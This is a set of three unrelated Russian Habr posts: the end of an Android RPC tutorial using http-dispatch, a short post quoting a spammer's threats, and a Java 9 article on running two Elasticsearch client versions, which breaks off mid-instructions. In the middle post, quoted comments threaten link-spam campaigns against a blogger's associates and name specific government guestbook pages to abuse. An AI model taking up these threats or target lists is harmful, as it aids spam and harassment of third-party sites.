Возможно данный подход не правилен и я этого не понимаю в виду своего скудного опыта. Поэтому был бы премного благодарен более опытным Android разработчикам, если они покажут более верное решение для вызова RPC с Android клиента.
В коде клиента создаем объект класса ***DispatchAsync***. Сделать это можно следующим образом:
```
DispatchAsync dispatch = new StandardDispatchAsync(
new DefaultExceptionHandler(),
new AndroidStandardDispatchServiceAsync(DISPATCH_URL_STANDARD));
```
При обращении к серверу необходимо создать объект типа ***AsyncCallback*** для нашего результата.
```
AsyncCallback callback = new AsyncCallback()
```
и реализовать методы
```
public void onSuccess(PingRequestResult result)
```
и
```
public void onFailure(Throwable caught)
```
которые будут соответственно вызываться при успешном выполнении команды и при возникновении исключительной ситуации.
Затем даем команду на выполнение:
```
dispatcher.execute(pingRequest, callback);
```
Опишем класс ***RPCUtils***, который будет делать несколько тестовых вызовов с разными параметрами на наш сервер. Помните, вам будет необходимо заменть **DISPATCH\_URL** на адрес вашего локального сервера. Хотя можете использовать и существующий — это развернутое тестовое приложение на платформе JBoss Openshift.
**RPCUtils.java**
```
import java.util.ArrayList;
import java.util.List;
import net.customware.http.dispatch.client.AsyncCallback;
import net.customware.http.dispatch.client.DefaultExceptionHandler;
import net.customware.http.dispatch.client.DispatchAsync;
import net.customware.http.dispatch.client.android.AndroidSecureDispatchServiceAsync;
import net.customware.http.dispatch.client.android.AndroidStandardDispatchServiceAsync;
import net.customware.http.dispatch.client.guice.SecureDispatchModule;
import net.customware.http.dispatch.client.secure.CookieSecureSessionAccessor;
import net.customware.http.dispatch.client.standard.StandardDispatchAsync;
import net.customware.http.dispatch.test.shared.PingRequest;
import net.customware.http.dispatch.test.shared.PingRequestResult;
public class RPCUtils
{
protected static final String DISPATCH_URL_STANDARD =
"http://httpdispatch-ep.rhcloud.com/standard_dispatch";
static DispatchAsync dispatch = new StandardDispatchAsync(
new DefaultExceptionHandler(),
new AndroidStandardDispatchServiceAsync(DISPATCH_URL_STANDARD));
public static DispatchAsync getDispatchAsync()
{
return dispatch;
}
// Посылаем и получаем строку
public static void runBasicStringTest(LogWrapper log)
{
String testObject = "Test String Object";
PingRequest pingRequest = new PingRequest(testObject);
testCommon(pingRequest, log);
}
// Посылаем и получаем объект типа ArrayList
public static void runBasicListTest(LogWrapper log)
{
List testList = new ArrayList();
testList.add("one");
testList.add("two");
PingRequest pingRequest = new PingRequest(testList);
testCommon(pingRequest, log);
}
// Посылаем и получаем объект null
public static void runNullSubObjectTest(LogWrapper log)
{
PingRequest pingRequest = new PingRequest(null);
testCommon(pingRequest, log);
}
// Получаем null результат
public static void runNullObjectTest(LogWrapper log)
{
PingRequest pingRequest = new PingRequest(true, false);
testCommon(pingRequest, log);
}
// Обрабатываем исключительную возникшее на стороне сервера
public static void runExceptionTest(LogWrapper log)
{
PingRequest pingRequest = new PingRequest(false, true);
testCommon(pingRequest, log);
}
private static void testCommon(PingRequest pingRequest, final LogWrapper log)
{
final long start = System.currentTimeMillis();
log.log("Sending object: " + pingRequest.getObject());
DispatchAsync dispatcher = getDispatchAsync();
AsyncCallback callback = new AsyncCallback()
{
@Override
public void onSuccess(PingRequestResult result)
{
if (result == null)
{
log.log("Received null at "
+ (System.currentTimeMillis() - start) + "ms");
} else
{
log.log("Received result: " + result.get() + " at "
+ (System.currentTimeMillis() - start) + "ms");
}
}
@Override
public void onFailure(Throwable caught)
{
log.log("Received exception: " + caught.getMessage() + " at "
+ (System.currentTimeMillis() - start) + "ms");
}
};
dispatcher.execute(pingRequest, callback);
}
}
```
**LogWrapper.java**
```
public interface LogWrapper
{
void log(String text);
}
```
Теперь создадим layout для нашего Activity
**activity\_main.xml**
```
```
Ну и код самого Activity
**MainActivity.java**
```
import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ScrollView;
import android.widget.Spinner;
import android.widget.TextView;
public class MainActivity extends Activity
{
enum ActionType
{
BASIC_STRING_OBJECT("Basic Object Send/Receive"),
BASIC_ARRAYLIST_OBJECT("Basic ArrayList Send/Receive"),
NULL_SUB_OBJECT("Null argument Send/Receive"),
NULL_OBJECT("Null Receive"),
EXCEPTION("Remote Exception")
;
String description;
ActionType(String description)
{
this.description = description;
}
@Override
public String toString()
{
return description;
}
}
Spinner actionTypeSP;
TextView logView;
ScrollView scroller;
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
init();
}
void init()
{
initActionList();
logView = (TextView) findViewById(R.id.logView);
scroller = (ScrollView) findViewById(R.id.scroller);
initRunButton();
}
void initActionList()
{
actionTypeSP = (Spinner) findViewById(R.id.actionTypeSP);
ArrayAdapter dataAdapter = new ArrayAdapter(
this,
android.R.layout.simple\_spinner\_item, ActionType.values());
dataAdapter
.setDropDownViewResource(android.R.layout.simple\_spinner\_dropdown\_item);
actionTypeSP.setAdapter(dataAdapter);
}
void initRunButton()
{
Button runBtn = (Button) findViewById(R.id.runBtn);
final LogWrapper log = new LogWrapper()
{
@Override
public void log(String text)
{
MainActivity.this.log(text);
}
};
runBtn.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v)
{
ActionType actionType = (ActionType) actionTypeSP
.getSelectedItem();
if (actionType != null)
{
switch (actionType)
{
case BASIC\_STRING\_OBJECT:
RPCUtils.runBasicStringTest(log);
break;
case BASIC\_ARRAYLIST\_OBJECT:
RPCUtils.runBasicListTest(log);
break;
case EXCEPTION:
RPCUtils.runExceptionTest(log);
break;
case NULL\_OBJECT:
RPCUtils.runNullObjectTest(log);
break;
case NULL\_SUB\_OBJECT:
RPCUtils.runNullSubObjectTest(log);
break;
default:
break;
}
}
}
});
}
void log(String str)
{
String text = logView.getText().toString();
text += str + "\n";
logView.setText(text);
scroller.smoothScrollTo(0, logView.getBottom());
}
@Override
public boolean onCreateOptionsMenu(Menu menu)
{
getMenuInflater().inflate(R.menu.activity\_main, menu);
return true;
}
}
```
Также не забываем добавить разрешение использовать Интернет нашему приложению
**AndroidManifest.xml**
```
```
Выглядеть результат будет следующим образом:
[](http://habrastorage.org/storage2/4f3/008/6f0/4f30086f065d9f2cd34d78ca97b241ea.png)
Неоходимо выбрать тип действия в верхнем поле и затем нажать кнопку Run. Приложение отправит команду на сервер и в логе выведется полученный результат. Доступные действия: отправить тестовую строку, отправить объект типа ***ArrayList***, отправить ***null***, получить ***null*** результат и сгенерировать исключение на сервере.
На этом пока все. Буду благодарен за любые отзывы, замечания и поправки. Спасибо всем за внимание.
### Ссылки
Страница проекта: [code.google.com/p/http-dispatch](http://code.google.com/p/http-dispatch/)
Тестовое приложение для Android: [http-dispatch.googlecode.com/files/HTTP\_Dispatch\_Test\_Android.apk](http://http-dispatch.googlecode.com/files/HTTP_Dispatch_Test_Android.apk)
Готовый WAR: [http-dispatch.googlecode.com/files/HTTP\_Dispatch\_Test\_Server.war](http://http-dispatch.googlecode.com/files/HTTP_Dispatch_Test_Server.war)
Проект Android приложения для Eclipse:
[http-dispatch.googlecode.com/files/HTTP\_Dispatch\_Test\_Android.zip](http://http-dispatch.googlecode.com/files/HTTP_Dispatch_Test_Android.zip)
Фреймворк gwt-dispatch: [code.google.com/p/gwt-dispatch](http://code.google.com/p/gwt-dispatch/)
P.S.
Фреймворк gwt-dispatch, взятый за основу в http-dispatch, довольно многообразен. Существует несколько способов написания сервеной и клиентской части. В следующий раз я покажу вам более интересный пример с использованием Guice и безопасного управляющего сервлета. Различные примеры и готовые тестовые приложения можно скачать на странице проекта. | https://habr.com/ru/post/148436/ | null | ru | null |
# Спамерам сделалось неприятно
[Вот такой комментарий](http://blog.parasite-eliminator.ru/development/kak-byt-esli-zaxotyat-podstavit/#comment-325) пришел недавно в блог Parasite Eliminator:
`Привет, Новиков.
Ничего не имею против твоей приблуды - каждый дро как он хо.
Но меня напрягло слишком частое упоминание в твоих речах всяких нехороших эпитетов в адрес бойцов линковочного фронта. Да и сам стиль твоей писанины говорит о неприкрытом презрении к людям. И еще эта странная фраза: “вскрытые сетки будут переданы в яндекс и гугл”…
Новиков, тебе что важнее - защититься самому или навредить другим?
Похоже, что навредить.
Посему заявляю, что все домены, указанные в твоем “красном списке”, будут круглосуточно спамиться по НАШИМ стоп-листам гостевых и форумов. И дело не во внесении твоих друзей в твой же “черный список”. Люди будут терять и хостинг, и домены, потому что наши стоп-листы в 100 раз абузней, чем твоя картонная дурилка. У нас в одной только зоне .gov несколько К гостевых прочеканы и уже ждут спамерских преведов со ссылками из твоего красного списка.
ВСЕ кто будет открыто с тобой сотрудничать - попадет под раздачу. 2 суток на размышления чтобы очистить красный список, оставшихся ожидает Чорный Четверг 13 ноября.
Захотел по-плохому - значит будет по-плохому, забились.
Иду Резать Актив :)`
А дальше будет просто — контачим с поисковиками, они нас не пессимизируют никак, а дальше просто ищутся левые каменты по всему индексу со ссылками на нас — и на эти сайты накладываются фильтры. В итоге «несколько K почеканых гостевух», которые использовались идиотами для проспама, тупо ни на что уже не годятся :-)
Собственно, думаете, я вручную отбивал 1733 письма, полученных за несколько часов после релиза? :-) Все намного проще. Зато образовалась база из более, чем полутора тысяч уязвимых форумов, досок и гостевух, ссылки с которых надо бы под фильтр ;-)
#### Update
Свежая личинка:
`# Зло Навсегда пишет:
12 ноября 2008 в 4:10 редактировать
Новиков похоже так и не понял, на что он подписал своих наивных друзей. Ну вот вам навскидку:
www.federalreserve.gov/pubs/oss/oss3/guestbook.html
topweb.gsfc.nasa.gov/guestbook.html
mears.army.mil/guestbook.htm
После проспама по таким ресурсам, “ссылочная масса” для вас станет чистой абстракцией вроде торсионного поля :)
Потому что нисчий Динохост, или где вам там еще проживаете, после первой же абузы из зоны GOV, снесет все ваше хозяйство и даже бэкапы забрать не даст.
Судьбу Мажордома или Эстхоста повторять никому неохота.`
Вот мне интересно, почему же до сих пор никто так конкурентов-то не выносит, спамя по загадочным гостевым в зоне GOV? | https://habr.com/ru/post/44398/ | null | ru | null |
# Как запустить Java-приложение с несколькими версиями одной библиотеки в 2017 году
Как запустить Java-приложение с несколькими версиями одной библиотеки в 2017 году
=================================================================================
Хочу поделиться решениями одной проблемы, с которой мне пришлось столкнуться, плюс исследование данного вопроса в контексте Java 9.
**дисклеймер**Писатель из меня ещё тот (пишу в первый раз), поэтому закидывание ~~вкусными~~ помидорами с указанием причин только приветствуется.
Сразу договоримся, что статья не годится в качестве руководства по:
* Java 9
* Elasticsearch
* Maven
Если по последним именам информации в сети полно, то по первому… со временем появится, по крайней мере [здесь есть необходимая информация](http://openjdk.java.net/projects/jigsaw/spec/sotms/).
Представим себе простую ситуацию: разворачиваем кластер Elasticsearch и загружаем в него данные. Мы пишем приложение, которое занимается поиском в этом кластере. Поскольку постоянно выходят новые версии Elasticsearch, мы привносим в кластер новые ~~проблемы~~ фичи с помощью rolling upgrade. Но вот незадача — в какой-то момент у нас сменился формат хранимых данных (например, чтобы максимально эффективно использовать какую-то из новых фич) и делать reindex нецелесообразно. Нам подойдёт такой вариант: ставим новый кластер на этих же машинах — первый кластер со старой схемой данных остаётся на месте только для поиска, а поступающие данные загружаем во второй с новой схемой. Тогда нашему поисковому компоненту потребуется держать на связи уже 2 кластера.
Наше приложение использует Java API для общения с кластером, а это значит, что оно тянет в зависимостях сам Elasticsearch. Стоит отметить, что вместе с 5-ой версией вышел и Rest Client, избавляющий нас от таких проблем (а также от удобного API самого Elasticsearch), но мы переместимся во времени на момент релиза 2-ой версии.
Рассмотрим возможные решения на примере простого приложения: поиск документа в 2-х кластерах Elasticsearch 1.7 и 2.4. Код доступен на [гитхабе](https://github.com/m31collision/elasticsearch-client-demo), и повторяет структуру данной статьи (отсутствует только OSGi).
Перейдём к делу. Создадим Maven-проект следующей структуры:
```
+---pom.xml
+---core/
| +---pom.xml
| +---src/
| +---main/
| | +---java/
| | | +---elasticsearch/
| | | +---client/
| | | +---SearchClient.java
| | | +---Searcher.java
| | +---resources/
| +---test/
| +---java/
+---es-v1/
| +---pom.xml
| +---src/
| +---main/
| | +---java/
| | | +---elasticsearch/
| | | +---client/
| | | +---v1/
| | | +---SearchClientImpl.java
| | +---resources/
| +---test/
| +---java/
+---es-v2/
+---pom.xml
+---src/
+---main/
| +---java/
| | +---elasticsearch/
| | +---client/
| | +---v2/
| | +---SearchClientImpl.java
| +---resources/
+---test/
+---java/
```
Очевидно, что в одном модуле подключить несколько версий одной библиотеки не получится, поэтому проект должен быть многомодульным:
* **core** — здесь находится вся логика приложения;
* можно (и нужно) вынести интерфейсы для взаимодействия с Elasticsearch в отдельный модуль;
* **es-v1** — реализация интерфейса для Elasticsearch 1.7.5;
* **es-v2** — реализация интерфейса для Elasticsearch 2.4.5.
Модуль **core** содержит класс `Searcher`, который является "испытателем" наших модулей **es-v1** и **es-v2**:
```
public class Searcher {
public static void main(String[] args) throws Exception {
List clients = Arrays.asList(
getClient("1"),
getClient("2")
);
for (SearchClient client : clients) {
System.out.printf("Client for version: %s%n", client.getVersion());
Map doc = client.search("test");
System.out.println("Found doc:");
System.out.println(doc);
System.out.println();
}
clients.forEach(SearchClient::close);
}
private static SearchClient getClient(String desiredVersion) throws Exception {
return null; // см. далее
}
}
```
Ничего сверхестественного: выводится версия Elasticsearch, используемая модулем, и проводится тестовый поиск через него — этого будет достаточно для демонстрации.
Взглянем на одну из реализаций, вторая почти идентична:
```
public class SearchClientImpl implements SearchClient {
private final Settings settings = ImmutableSettings.builder()
.put("cluster.name", "es1")
.put("node.name", "es1")
.build();
private final Client searchClient = new TransportClient(settings)
.addTransportAddress(getAddress());
private InetSocketTransportAddress getAddress() {
return new InetSocketTransportAddress("127.0.0.1", 9301);
}
@Override
public String getVersion() {
return Version.CURRENT.number();
}
@Override
public Map search(String term) {
SearchResponse response = searchClient.prepareSearch("*")
.setQuery(QueryBuilders.termQuery("field", term))
.execute()
.actionGet();
if (response.getHits().getTotalHits() > 0) {
return response.getHits().getAt(0).getSource();
} else {
return null;
}
}
@Override
public void close() {
searchClient.close();
}
}
```
Тоже всё просто: текущая версия, зашитая в Elasticsearch, и поиск по полю `field` во всех индексах (`*`), возвращающий первый найденный документ, если есть.
Проблема здесь кроется в том, как именно вызвать реализации интерфейса `SearchClient` в методе `Searcher#getClient` и получить желаемый результат.
Может быть, Class.forName?
--------------------------
Даже если вы не знаток Java, наверняка слышали, что там властвует [ClassLoader](https://docs.oracle.com/javase/9/docs/api/java/lang/ClassLoader.html). Он не позволит нам совершить задуманное, если оставить по умолчанию, поэтому такое решение влоб не сработает:
```
private static SearchClient getClient(String desiredVersion) throws Exception {
String className = String.format("elasticsearch.client.v%s.SearchClientImpl", desiredVersion);
return (SearchClient) Class.forName(className).newInstance();
}
```
Соберём, запустим и увидим результат… вполне неопределённый, например, такой:
```
Exception in thread "main" java.lang.IncompatibleClassChangeError: Implementing class
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(ClassLoader.java:763)
at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:467)
at java.net.URLClassLoader.access$100(URLClassLoader.java:73)
at java.net.URLClassLoader$1.run(URLClassLoader.java:368)
at java.net.URLClassLoader$1.run(URLClassLoader.java:362)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:361)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:331)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Class.java:348)
at elasticsearch.client.Searcher.getClient(Searcher.java:28)
at elasticsearch.client.Searcher.main(Searcher.java:10)
```
Хотя мог и `ClassNotFoundException` бросить… или ещё чего...
Так как `URLClassLoader` найдёт и загрузит первый попавшийся класс с заданным именем из заданного набора jar-файлов и директорий, это будет необязательно требуемый класс. В данном случае эта ошибка возникает из-за того, что в списке class-path библиотека `elasticsearch-2.4.5.jar` идёт до `elasticsearch-1.7.5.jar`, поэтому все классы (которые совпадают по имени) будут загружены для 2.4.5. Поскольку наш Searcher сначала пытается загрузить модуль для Elasticsearch 1.7.5 (`getClient("1")`), URLClassLoader загрузит ему совсем не те классы...
Когда загрузчик классов имеет в своём распоряжении пересекающиеся по имени (а значит и по именам файлов) классы, такое его состояние называют jar hell (или class-path hell).
Свой ClassLoader
----------------
Становится очевидным, что модули и их зависимости нужно разнести по разным загрузчикам классов. Просто создаём URLClassLoader на каждый модуль **es-v\*** и указываем каждому свою директорию с jar-файлами:
```
private static SearchClient getClient(String desiredVersion) throws Exception {
String className = String.format("elasticsearch.client.v%s.SearchClientImpl", desiredVersion);
Path moduleDependencies = Paths.get("modules", "es-v" + desiredVersion);
URL[] jars = Files.list(moduleDependencies)
.map(Path::toUri)
.map(Searcher::toURL)
.toArray(URL[]::new);
ClassLoader classLoader = new URLClassLoader(jars); // parent = app's class loader
return (SearchClient) classLoader.loadClass(className).newInstance();
}
```
Нам нужно собрать и скопировать все модули в соответствующие директории `modules/es-v*/`, для этого используем плагин `maven-dependency-plugin` в модулях **es-v1** и **es-v2**.
Соберём проект:
```
mvn package
```
И запустим:
```
сент. 29, 2017 10:37:08 ДП org.elasticsearch.plugins.PluginsService
INFO: [es1] loaded [], sites []
сент. 29, 2017 10:37:12 ДП org.elasticsearch.plugins.PluginsService
INFO: [es2] modules [], plugins [], sites []
Client for version: 1.7.5
Found doc:
{field=test 1}
Client for version: 2.4.5
Found doc:
{field=test 2}
```
Бинго!
**(1.7 не сработает под JRE 9)**если не пропатчить JvmInfo, о чём упоминается ниже в пересборке Elasticsearch 1.7.
Совсем хардкорный случай предполагает, что модуль **core** тоже использует какие-нибудь утилитные методы из библиотеки Elasticsearch. Наше текущее решение уже не сработает из-за [порядка загрузки классов](https://docs.oracle.com/javase/8/docs/api/java/lang/ClassLoader.html#loadClass-java.lang.String-boolean-):
> 1. Invoke findLoadedClass(String) to check if the class has already been loaded.
> 2. Invoke the loadClass method on the parent class loader. If the parent is null the class loader built-in to the virtual machine is used, instead.
> 3. Invoke the findClass(String) method to find the class.
>
>
>
>
То есть в этом случае будут загружены классы Elasticsearch из **core**, а не **es-v\***. Присмотревшись к порядку загрузки, видим обходной вариант: написать свой загрузчик классов, который нарушает этот порядок, поменяв местами шаги 2 и 3. Такой загрузчик сможет загрузить не только отдельно свой модуль **es-v\***, но и увидит классы из **core**.
Напишем свой URLClassLoader, назовём его, например, ParentLastURLClassLoader:
```
public class ParentLastURLClassLoader extends URLClassLoader {
...
}
```
и переопределим `loadClass(String,boolean)`, скопировав код из ClassLoader и убрав всё лишнее:
```
@Override
protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class c = findLoadedClass(name);
if (c == null) {
try {
if (getParent() != null) {
c = getParent().loadClass(name);
}
} catch (ClassNotFoundException e) {
}
if (c == null) {
c = findClass(name);
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
```
Меняем местами вызовы `getParent().loadClass(String)` и `findClass(String)` и получаем:
```
@Override
protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class c = findLoadedClass(name);
if (c == null) {
try {
c = findClass(name);
} catch (ClassNotFoundException ignored) {
}
if (c == null) {
c = getParent().loadClass(name);
if(c == null) {
throw new ClassNotFoundException(name);
}
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
```
Поскольку наше приложение вручную будет загружать классы модуля, загрузчик должен бросить `ClassNotFoundException`, если класса нигде не найдено.
Загрузчик написан, теперь используем его, заменив `URLClassLoader` в методе `getClient(String)`:
```
ClassLoader classLoader = new URLClassLoader(jars);
```
на `ParentLastURLClassLoader`:
```
ClassLoader classLoader = new ParentLastClassLoader(jars);
```
и запустив приложение снова, видим тот же результат:
```
сент. 29, 2017 10:42:41 ДП org.elasticsearch.plugins.PluginsService
INFO: [es1] loaded [], sites []
сент. 29, 2017 10:42:44 ДП org.elasticsearch.plugins.PluginsService
INFO: [es2] modules [], plugins [], sites []
Client for version: 1.7.5
Found doc:
{field=test 1}
Client for version: 2.4.5
Found doc:
{field=test 2}
```
ServiceLoader API
-----------------
В Java 6 добавили класс [java.util.ServiceLoader](https://docs.oracle.com/javase/9/docs/api/java/util/ServiceLoader.html), который предоставляет механизм загрузки реализаций по интерфейсу/абстрактному классу. Этот класс тоже решает нашу проблему:
```
private static SearchClient getClient(String desiredVersion) throws Exception {
Path moduleDependencies = Paths.get("modules", "es-v" + desiredVersion);
URL[] jars = Files.list(moduleDependencies)
.map(Path::toUri)
.map(Searcher::toURL)
.toArray(URL[]::new);
ServiceLoader serviceLoader = ServiceLoader.load(SearchClient.class, new URLClassLoader(jars));
return serviceLoader.iterator().next();
}
```
Всё очень просто:
* ищем в директории модуля все jar-файлы,
* складываем их в загрузчик,
* пытаемся загрузить хоть одну реализацию нашего интерфейса, используя созданный загрузчик.
Чтобы ServiceLoader увидел реализации интерфейсов, нужно создать файлы с полным именем интерфейса в директории `META-INF/services`:
```
+---es-v1/
| +---src/
| +---main/
| +---resources/
| +---META-INF/
| +---services/
| +---elasticsearch.client.spi.SearchClient
+---es-v2/
+---src/
+---main/
+---resources/
+---META-INF/
+---services/
+---elasticsearch.client.spi.SearchClient
```
и написать полные имена классов, реализующих этот интерфейс, на каждой строке: в нашем случае по одному `SearchClientImpl` на каждый модуль.
Для **es-v1** в файле будет строка:
```
elasticsearch.client.v1.SearchClientImpl
```
и для **es-v2**:
```
elasticsearch.client.v2.SearchClientImpl
```
Также используем плагин `maven-dependency-plugin` для копирования модулей **es-v\*** в `modules/es-v*/`. Пересоберём проект:
```
mvn clean package
```
И запустим:
```
сент. 29, 2017 10:50:17 ДП org.elasticsearch.plugins.PluginsService
INFO: [es1] loaded [], sites []
сент. 29, 2017 10:50:20 ДП org.elasticsearch.plugins.PluginsService
INFO: [es2] modules [], plugins [], sites []
Client for version: 1.7.5
Found doc:
{field=test 1}
Client for version: 2.4.5
Found doc:
{field=test 2}
```
Отлично, требуемый результат снова получен.
Для упомянутого хардкорного случая придётся выносить интерфейс `SearchClient` в отдельный модуль **spi** и использовать следующую цепочку загрузчиков:
```
core: bootstrap -> system
spi: bootstrap -> spi
es-v1: bootstrap -> spi -> es-v1
es-v2: bootstrap -> spi -> es-v2
```
т.е.
1. создаём отдельный загрузчик для **spi** (в parent кидаем null — будет использован bootstrap-загрузчик),
2. загружаем им **spi** (интерфейс `SearchClient`),
3. затем создаём по загрузчику на каждый модуль **es-v\***, у которых родительским будет загрузчик для **spi**,
4. ...
5. PROFIT!
Модули OSGi
-----------
Признаюсь сразу и честно — мне не доводилось сталкиваться с фреймворками OSGi (может оно и к лучшему?). Взглянув на маны для начинающих у Apache Felix и Eclipse Equinox, они больше походят на контейнеры, в которые (вручную?) загружают бандлы. Даже если есть реализации для встраивания, это слишком громоздко для нашего простого приложения. *Если я не прав, выскажите обратную точку зрения в комментариях (да и вообще хочется увидеть, что его кто-то использует и как)*.
Я не стал углубляться в этом вопросе, т.к. в Java 9 модули теперь из коробки, которые мы сейчас и рассмотрим.
Нативные модули в Java?
-----------------------
На прошлой неделе релизнулась 9-ая версия платформы, в которой главным нововведением стали модуляризация рантайма и исходников самой платформы. Как раз то, что нам надо!
*Hint: Для того, чтобы использовать модули, нужно сначала [скачать и установить JDK 9](http://www.oracle.com/technetwork/java/javase/downloads/jdk9-downloads-3848520.html), если вы ещё этого не делали.*
Здесь дело осложняет только способность используемых библиотек запускаться под девяткой в качестве модулей (на самом деле, я просто не нашёл способа в IntelliJ IDEA указать class-path вместе с module-path, поэтому далее мы всё делаем в контексте module-path).
### Как работает модульная система
Прежде чем переходить к модификации кода нашего приложения под модульную систему, сначала узнаем, как она работает (я могу ошибаться, поскольку сам только начал разбираться в этом вопросе).
Кроме упомянутых модулей, есть ещё слои, содержащие их. При старте приложения создаётся слой `boot`, в который загружаются все указанные в `--module-path` модули, из которых состоит приложение, и их зависимости (от модуля `java.base` автоматически зависят все модули). Другие слои могут быть созданы программно.
Каждый слой имеет свой загрузчик классов (или иерархию). Как и у загрузчиков, модульные слои также могут быть построены иерархически. В такой иерархии модули одного слоя могут видеть другие модули, находящихся в родительском слое.
Сами модули изолированы друг от друга и по умолчанию их пакеты и классы в них не видны другим модулям. Дескриптор модуля (им является `module-info.java`) позволяет указать, какие пакеты может открыть каждый модуль и от каких модулей и их пакетов зависят они сами. Дополнительно, модули могут объявлять о том, что они используют некоторые интерфейсы в своей работе, и могут объявлять о доступной реализации этих интерфейсов. Эта информация используется ServiceLoader API для загрузки реализаций интефрейсов из модулей.
Модули бывают явными и автоматическими (типов больше, но мы ограничимся этими):
* Явные модули описываются явно файлом-дескриптором `module-info.class` в корне jar-архиа (модуль или модуляризованный jar),
* Автоматические модули — это библиотеки без дескриптора, помещённые в module-path; в качестве модулей такого типа предполагается использовать существующие немодуляризованные библиотеки, используемые в старом добром `class-path`.
Теперь этой информации будет достаточно, чтобы применить её на нашем проекте:
1. В boot-слое у нас будет только модуль **core**. Если в нём будут находиться модули **es-v\***, то приложение не запустится из-за конфликтующих транзитивных модулей `elasticsearch.shaded`.
2. Класс `Searcher` будет вручную загружать модули **es-v\*** в отдельные дочерние слои со своим загрузчиком классов, используя ServiceLoader API.
Всё так просто?...
### Package Hell
Модулям не разрешено иметь пересекающиеся имена пакетов (по крайней мере в одном слое).
Например, есть некая библиотека, которая предоставляет какое-то API в публичном классе `Functions`. В этой библиотеке есть класс `Helpers` с пакетной областью видимости. Вот они:
```
com.foo.bar
public class Functions
class Helpers
```
На сцену выходит вторая библиотека, которая предоставляет которая дополняет функционал первой:
```
com.foo.baz
public class Additional
```
И ей требуется некоторый функционал из закрытого класса `Helpers`. Выходим из положения, поместив какой-нибудь класс в этот же пакет:
```
com.foo.baz
public class Additional
com.foo.bar
public class AccessorToHelpers
```
Поздравим себя — мы только что создали себе проблему разделения пакетов (split package) с точки зрения модульной системы. Что можно сделать с такими библиотеками? Нам [предлагают оставить такие библиотеки в class-path](http://openjdk.java.net/projects/jigsaw/spec/sotms/#bridges-to-the-class-path) и дотянуться до них из модулей, используя автоматические модули в качестве моста. Но мы не ищем лёгких путей, поэтому используем другой вариант: докладём в библиотеку все его зависимости и получим один единственный jar-архив (известный под названиями fat jar и uber jar), его-то и можно использовать в module-path как автоматический модуль, минуя class-path. Проблемой может стать сборка такого all-in-one jar.
**Инструкция по пересборке Elasticsearch**Elasticsearch активно использует доступ к package-private методам/полям для доступа к некоторому функционалу Lucene. Чтобы использовать его в виде автоматического модуля, сделаем из него uber jar и установим в локальный репозиторий под именем `elasticsaerch-shaded` для дальнейшего использования в нашем проекте.
### Собираем Elasticsearch 1.7
В первых версиях проект приложения представляет из себя единственный Maven-модуль, поэтому здесь проблем особо не возникнет: нужно поправить `pom.xml` и некоторые классы, если собираем 8-кой.
Клонируем репозиторий в какую-нибудь директорию, чекаутим тег `v1.7.5` и начинаем править:
* В проекте уже используется `maven-shade-plugin`, поэтоу для сборки uberjar потребуется закомментировать включение некоторых пакетов, чтобы включались все:
и желательно в оригинале, без перемещений:
* Придётся убрать Groovy (ломает загрузку из-за [такой неоднозначности](https://stackoverflow.com/questions/45969539/java-9-service-provider-and-groovy-extension-modules)), а также логгеры (для них нет конфигов, JUL будет работать прекрасно по умолчанию), добавив сразу за закоментированным узлом :
```
org.codehaus.groovy:groovy-all
org.slf4j:\*
log4j:\*
```
* Выключим вырезание неиспользуемых классов — плагин не знает о ServiceLoader/Reflection API:
* И добавим склеивание сервис-файлов с классами реализаций для ServiceLoader API в узел плагина:
```
```
* С `pom.xml` закончили, осталось устранить `UnsupportedOperationException`, которое кидает `java.lang.management.RuntimeMXBean#getBootClassPath`. Для этого найдём такую строку в классе `JvmInfo`:
```
info.bootClassPath = runtimeMXBean.getBootClassPath();
```
и оборнём её в "правильные":
```
if (runtimeMXBean.isBootClassPathSupported()) {
info.bootClassPath = runtimeMXBean.getBootClassPath();
} else {
info.bootClassPath = "";
}
```
Эта информация используется всего лишь для статистики.
Готово, теперь можно собрать jar:
```
$ mvn package
```
и после компиляции и сборки получим требуемый `elasticsearch-1.7.5.jar` в директории `target`. Теперь его нужно установить в локальный репозиторий, например, под именем `elasticsearch-shaded`:
```
$ mvn install:install-file \
> -Dfile=elasticsearch-1.7.5.jar \
> -DgroupId=org.elasticsearch \
> -DartifactId=elasticsearch-shaded \
> -Dversion=1.7.5 \
> -Dpackaging=jar \
> -DgeneratePom=true
```
Теперь этот артефакт можно использовать как автоматический модуль в нашем Maven-модуле **es-v1**:
```
org.elasticsearch
elasticsearch-shaded
1.7.5
...
```
### Собираем Elasticsearch 2.4
Откатим локальные изменения и зачекаутим тег `v2.4.5`. Начиная со 2-ой версии проект разбит на модули. Нужный нам модуль, выдающий `elasticsearch-2.4.5.jar` — модуль **core**.
* Первым делом уберем снапшот, нам нужен релиз:
```
$ mvn versions:set -DnewVersion=2.4.5
```
* Теперь поищем, настроен ли где shade-плагин… и натыкаемся на такую доку:
> #### Shading and package relocation removed
>
>
>
>
>
> Elasticsearch used to shade its dependencies and to relocate packages. We no longer use shading or relocation.
>
> You might need to change your imports to the original package names:
>
> * `com.google.common` was `org.elasticsearch.common`
> * `com.carrotsearch.hppc` was `org.elasticsearch.common.hppc`
> * `jsr166e` was `org.elasticsearch.common.util.concurrent.jsr166e`
>
> ...
>
>
>
>
Нам придётся добавить shade-плагин заново в модуль **core**, добавив в настройках трансформер сервис-файлов и исключение логгеров:
```
org.apache.maven.plugins
maven-shade-plugin
package
shade
org.slf4j:\*
log4j:\*
```
